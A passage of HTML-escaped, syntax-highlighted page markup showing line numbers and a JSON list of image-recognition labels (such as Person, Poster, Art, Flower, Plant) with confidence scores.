&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt;53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt;54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt;55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt;56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt;57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt;58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt;59&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt;60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt;61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt;62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt;63&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;64&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#64&#34;&gt;64&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Labels&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;99.2780990600586&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;People&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;99.2780990600586&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Person&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;99.27307891845703&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Human&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;73.7669448852539&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Flyer&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;73.7669448852539&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Poster&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;68.23612213134765&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Art&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;58.291263580322266&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Brochure&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;55.91957092285156&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Modern Art&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;53.9996223449707&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Blossom&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;53.9996223449707&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Flora&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;53.9996223449707&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Flower&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;53.9996223449707&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Petal&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;53.9996223449707&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Plant&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;50.69965744018555&lt;/span&gt;,
